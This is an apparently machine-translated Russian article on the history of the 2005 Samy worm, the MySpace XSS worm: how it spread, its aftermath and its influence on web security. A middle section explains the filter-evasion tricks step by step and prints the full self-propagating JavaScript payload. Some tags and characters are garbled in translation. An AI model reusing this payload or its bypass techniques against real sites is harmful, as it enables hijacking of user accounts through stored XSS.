Червь, Изменивший Интернет

Сами Камка, главный герой повести, не хотел быть для всех «героем», он даже не собирался заводить новых друзей.

Но благодаря нескольким строкам хитроумного кода за 24 часа он стал «героем» и «другом» более чем для миллиона человек.



Червь, изменивший Интернет

Все произошло около полуночи 4 октября 2005 года в солнечном городе Лос-Анджелес.

Затем 19-летний хакер Сами Камка выпустил в сеть нечто, теперь более известное как «червь Сами».

Это был первый самый быстрый и самораспространяющийся вирус, который навсегда изменил мир веб-безопасности.

Бросив школу в 16 лет и основав софтверный стартап Fonality в 17 лет, Камка объяснил свои действия довольно просто:

Я просто хотел произвести впечатление на своих друзей-технарей и не более того.

Все началось за неделю до запуска червя.

В то время MySpace давал пользователям большую свободу в настройке своих профилей, позволяя использовать HTML-код, что приводило к красочному и часто болезненному просмотру профилей.

Однако не все на MySpace можно было настроить.

Пользователи могли загрузить максимум 12 фотографий.

Многие задавались вопросом, как обойти это ограничение.

И поэтому Камка начал исследовать MySpace, чтобы найти способ обмануть сайт и сделать то, что не смогли другие пользователи.

Вскоре он стал первым человеком, который смог загрузить в свой профиль 13 фотографий.

У пользователей также был узкий выбор в графе «отношения».

Выпадающее меню содержало стандартные варианты: женат, холост, в отношениях и т. д. Но Сами, находившийся на тот момент в отношениях, хотел иметь возможность выделиться и обозначить особый статус «в гуще событий».

отношения.

" И через некоторое время, пройдя n строк кода, он смог реализовать свою первоначальную идею.

Как сказал Сами:

Как только я это сделал, я понял, что теперь на своей странице я могу делать практически всё.

Целую неделю Камка работал над скриптом, который был бы невидим для других пользователей и заставлял каждого, кто заходил на его профиль, добавить его в друзья.

Сценарий также прикрепит строку к профилю принудительного друга в категории «мои герои: но мой главный герой — Сами».

Но после этого он понял, что таким образом ему не удастся собрать много друзей, если он будет ориентироваться исключительно на тех, кто посещает его страницу.

Поэтому изобретательный молодой человек добавил в сценарий возможность копировать себя на страницу своих посетителей.

Именно в этот ключевой момент он создал саморазмножающегося червя.



Червь, изменивший Интернет

По словам Сами:

Я подсчитал, что через месяц у меня может быть около 100 или 200 друзей.

Некоторые из них будут жаловаться, но я их просто удалю и проблем не будет.

На следующее утро он проснулся и обнаружил более 200 запросов на добавление в друзья.

В этот момент Сами был шокирован, ведь червь распространялся гораздо быстрее, чем ожидалось.

Час спустя количество запросов удвоилось и продолжало расти в геометрической прогрессии.

Затем Камка отправил анонимное письмо в службу поддержки MySpace, предупредив их о черве и показав, как его остановить.

Но до сих пор остается загадкой, прочитал ли кто-нибудь его письмо.

К 13:30 у молодого хакера уже было более 2500 друзей и более 6000 запросов на добавление в друзья.

Процесс вышел из-под контроля.

Камка опубликовал в своем блоге сообщение, в котором объяснил все, что произошло той ночью.

Как вспоминает Сами:

Люди буквально завалили меня письмами о том, что они сообщили обо мне как о человеке, взломавшем их страницы.

Ведь именно мое имя фигурировало в списке их героев.

Надеюсь, на меня никто не подаст в суд.
Пару часов спустя Сэми пошел за буррито в Chipotle, а затем вернулся домой, чтобы проверить свой профиль на MySpace. На данный момент у него было почти миллион запросов в друзья.

И вот что он написал в своем блоге:

Я популярен.

Это официально.



Червь, изменивший Интернет

Число запросов перевалило за миллион за пару минут до того, как MySpace стал недоступен.

Компании пришлось отключить сайт, чтобы выяснить, что произошло, и устранить червя.

Сами признается:

Я чувствовал себя ужасно.

Я чувствовал себя очень неловко.

Но он уже ничего не мог сделать.

Как только он выпустил червя, процесс стал необратимым; вирус быстро распространился сам по себе.

Через пару часов сайт снова стал доступен, но профиль Камки уже был удален.

Кунал Ананд, который стал директором по безопасности MySpace через несколько месяцев после инцидента, сказал, что, когда червь [Сами] поразил, у компании практически не было команды безопасности, и она понятия не имела, что делать.

Никто раньше не видел ничего подобного, так что это был поворотный момент. Давайте посмотрим, как был разработан червь [Сами].

MySpace блокирует большинство тегов, фактически разрешает только , и , возможно, кому-то еще понравится .

Но он определенно не позволит использовать такие теги, как , , с JavaScript и т. д. Однако некоторые браузеры допускают использование JavaScript в тегах CSS. Для дальнейшей работы всего этого потребуется JavaScript. Пример:

  
  
  
  
  
  
  
  
   

<div style="background:url('javascript:alert(1)')">

Вы больше не можете использовать кавычки в блоке, поскольку одинарные и двойные кавычки уже использованы.

Это значительно усложняет кодирование JS. Чтобы обойти эту проблему, вы можете использовать выражение для сохранения JS, а затем выполнить его по имени.

Пример:

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

Теперь мы можем заключать JavaScript в одинарные кавычки.

Однако MySpace удаляет слово «JavaScript» где угодно.

Но некоторые браузеры на самом деле интерпретируют «java\nscript» как «javascript».

(Это Java сценарий).

Пример:

<div id="mycode" expr="alert('hah!')" style="background:url('java script:eval(document.all.mycode.expr)')">

Хорошо, хотя одинарные кавычки у нас работают, бывают случаи, когда нам нужны двойные кавычки.

Но проблема в том, что MySpace не пропускает экранирующие кавычки.

Однако мы можем просто преобразовать десятичное число в ASCII в JavaScript, чтобы получить котировки.

Пример:

<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java script:eval(document.all.mycode.expr)')">

Для того, чтобы оставить код на странице пользователя, просмотревшего вашу, вам необходимо получить исходный код страницы.

Чтобы получить исходный код, вы можете использовать document.body.innerHTML. Но опять же, MySpace удалит слово «innerHTML», и чтобы избежать этого, стоит использовать eval() для оценки двух последовательностей и их объединения, в результате чего получится «innerHTML».

Пример:

alert(eval('document.body.inne' + 'rHTML'));

Во время фактического доступа к другим страницам я хотел бы использовать плавающие рамки.

Но в целом фреймы (даже скрытые) не так уж и полезны и для пользователей очевидно, что происходит «что-то еще».

Вы можете использовать AJAX (HTTP XML) для захвата HTTP и копирования кода на страницу пользователя.

Однако MySpace удаляет слово «onreadystatechange», которое требуется для HTTP-запросов XML. Опять же, мы можем использовать оценку, чтобы избежать этого.

Еще одним преимуществом HTTP XML является то, что необходимые файлы cookie, необходимые для выполнения действий на MySpace, будут передаваться без каких-либо проблем.

Пример:

eval('xmlhttp.onread' + 'ystatechange = callback');

Получая доступ к профилю пользователя, мы также получаем доступ к списку его героев.

Нам не нужно удалять список текущих героев, нам достаточно добавить себя в этот список.

Если мы получили доступ к профилю, мы можем получить доступ к текущему списку героев и сохранить его на будущее.

Учитывая все вышеперечисленное и расчеты, сделать это довольно просто с помощью HTTP-запроса XML. За исключением того, что нам нужно получить идентификатор друга — фактического пользователя, который просматривал наш профиль.

Как упоминалось выше, мы можем сделать это, обратившись к исходному коду страницы.

Правда, теперь нам нужно выполнить поиск по странице в соответствии с конкретным запросом.

Но при составлении запроса на поиск слова мы сталкиваемся с проблемой.

Скорее всего, это слово встретится внутри нашего кода.

Соответственно, запрос «если страница содержит «что-то», сделайте это» всегда будет иметь положительный результат, поскольку это «что-то» содержится в нашем собственном коде, который был скопирован на страницу пользователя.

Использование функции eval() позволяет избежать этой проблемы.

Пример:

var index = html.indexOf('frien' + 'dID');

На данный момент у нас уже есть список героев.

Однако сначала вам необходимо добавить себя в друзья, выполнив XML-HTTP-запрос на странице «Добавить друзей».

Но тут вдруг «упс», это не работает. Но почему? Мы находимся по адресу Profile.myspace.com, однако запрос должен быть сделан по домену.

www.myspace.com .

Ничего страшного, можете подумать вы, но HTTP XML не позволит вам отправлять/получать запросы на сайт с другим доменным именем.

Чтобы обойти это, давайте перейдем к тому же URL, но с доменом www.myspace.com .

Вы по-прежнему можете просматривать свой профиль как www.myspace.com , таким образом, перезагрузка страницы с нужным доменом www позволяет нам завершить запрос.

Пример:

if (location.hostname == 'profile.myspace.com') document.location = ' http://www.myspace.com ' + location.pathname + location.search;

Наконец мы можем выполнить запрос.

Да, просто отправив запрос, мы фактически не добавляем друга.

Почему это происходит? Ведь все было сделано правильно.

Вот в чем дело.

MySpace генерирует на странице случайный хэш для подтверждения запроса (например, «Вы уверены, что хотите добавить этого пользователя в друзьяЭ»).

Если кэш не был отправлен вместе с запросом, запрос не будет обработан.

Чтобы обойти это, вам нужно вести себя как браузер: анализировать исходный хеш перед добавлением пользователя, а затем отправлять запрос при передаче хеша.

Как только запрос будет выполнен, нам нужно добавить себя в «герои» и вставить наш основной код. Код окажется в том же разделе «герои», поэтому для выполнения нам понадобится только один запрос.

Однако нам нужно сначала получить страницу, чтобы получить новый хеш.

Но перед этим нам следует воспроизвести код, который мы хотим туда поместить.

Самый простой способ — взять исходный код, разобрать его и внести коррективы.

Это работает, но теперь код будет искажен.

Нам нужен зашифрованный URL-адрес, чтобы извлечь исходный код и правильно добавить запрос.

Странно, но это все равно не сработает. Судя по всему, кодировка URL-адреса в JavaScript и функция escape() не выводят все необходимые данные, вам нужно внести некоторые изменения вручную, чтобы получить необходимые данные.

Добавляем «но больше всего мой герой — Сами», как это сделал Камка, после этого вставляем весь код и — вуаля! У нас есть самовоспроизводящийся код, червь.



<div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr) ')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).

split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].

split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location=' http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData (g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfmЭfuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfmЭfuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfmЭfuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfmЭfuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfmЭfuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

После всех исправлений на стороне MySpace этот код уже не страшен и работать не будет. Червь, которого выпустил Камка, несмотря на свое быстрое саморазмножение, оказался безобидным и безобидным.

Все, что он сделал, это добавил друзей и написал пару строк в «зараженный» профиль.

Но если бы Камка был преступником или имел злые намерения, он легко мог бы завладеть профилями других людей.

Техника, которую использовал молодой хакер, известна как межсайтовый скриптинг, или сокращенно XSS. С его помощью злоумышленник внедряет вредоносный код на сайт и в браузер пользователя.

Люди, разбирающиеся в веб-безопасности, знали, что большинство веб-сайтов можно атаковать так же, как это сделал Камка.

Но до появления червя [Samy] никто не воспринимал эту угрозу всерьез.

На тот момент 80–90% веб-сайтов были уязвимы для таких атак.

Эта проблема привлекла столько внимания, что проект Open Web Application Security Project приложил все усилия, чтобы создать API для сайтов и позволить пользователям использовать код на своих страницах, не подвергаясь XSS-уязвимостям - они назвали его «Проект AntiSamy».

Десять лет спустя, согласно данным, собранным WhiteHat's Security в 2015 году, только 47 процентов веб-сайтов имеют такие же уязвимости.

Уязвимость, продемонстрированная этим червем, вероятно, встречается чаще, чем мы думаем.



Червь, изменивший Интернет

В последующие годы веб-сайты и браузеры повысили свою защиту от атак с использованием межсайтовых сценариев, но были и другие, не менее известные атаки.

Например, в 2013 году несколько почтовых ящиков пользователей Yahoo были взломаны из-за аналогичной уязвимости.

А в прошлом году хакеры обнаружили в TweetDeck ошибку XSS, которая позволяла им размещать на сайте надоедливые всплывающие окна.

Несмотря на свои безобидные намерения и посты в блоге, описывающие причину запуска червя [Samy], Камке все же не удалось избежать юридических проблем.

Через шесть месяцев после того, как он выпустил червя, Секретная служба вместе с Оперативной группой по электронным преступлениям получили ордер на обыск его квартиры и офиса.

Власти конфисковали его ноутбук, три настольных компьютера и все внешние устройства хранения данных.

Окружной прокурор Лос-Анджелеса предъявил обвинения в компьютерных преступлениях.

В частности, заражение компьютерных систем вирусом по уголовному кодексу Калифорнии.



Червь, изменивший Интернет

Это было страшно.

Камка помнит.
У меня даже не было диплома средней школы, поэтому для меня было очень важно, смогу ли я продолжать работать с компьютерами.

Это все, что у меня было.

Целый год адвокаты Камки и местные прокуроры спорили, признает ли молодой хакер свою вину.

Самого Сами так и не арестовали; В итоге он признал себя виновным и был приговорен к трем годам условно без практического доступа к компьютерным системам.

Ему разрешили пользоваться только одним компьютером, зарегистрированным в органах власти, и он не имел доступа к Интернету.

Он по-прежнему мог работать руководителем в своем стартапе, и его приглашали на различные конференции, чтобы рассказывать о своем черве.

В 2007 году он встретил Джеремайю Гроссмана, эксперта по веб-безопасности и основателя WhiteHat, на конференции OWASP & WASC AppSec, где Гроссман и его друг Роберт Хансен были одеты в футболки с надписью «Сами, мой герой».

.

(Подобные футболки все еще можно купить в Интернете.

)

Червь, изменивший Интернет

В 2008 году, через три года после червя, Камка вернулся в суд, и ему сократили испытательный срок.

Оказавшись свободным от ограничений, Сэми первым делом отправился в Apple Store в Санта-Монике, где купил новый ноутбук.

После чего он отправился в ближайший Старбакс.

Его единственной целью было открыть ноутбук и подключиться к Интернету.



Червь, изменивший Интернет

Как вспоминает Сами, до инцидента с MySpace он был скромным, сдержанным и застенчивым парнем.

Но, проведя три года без доступа к Интернету, ему пришлось заняться другими делами.

И это его сильно изменило.

Теги: #информационная безопасность #вирус #Хостинг #ИТ-инфраструктура #Разработка сайтов #социальные сети #xss #компьютерная безопасность #вредоносное ПО #сайты #взлом #хакер #смешные истории #червь #взлом сайтов #межсайтовые скрипты #Сами Камка

Вместе с данным постом часто просматривают: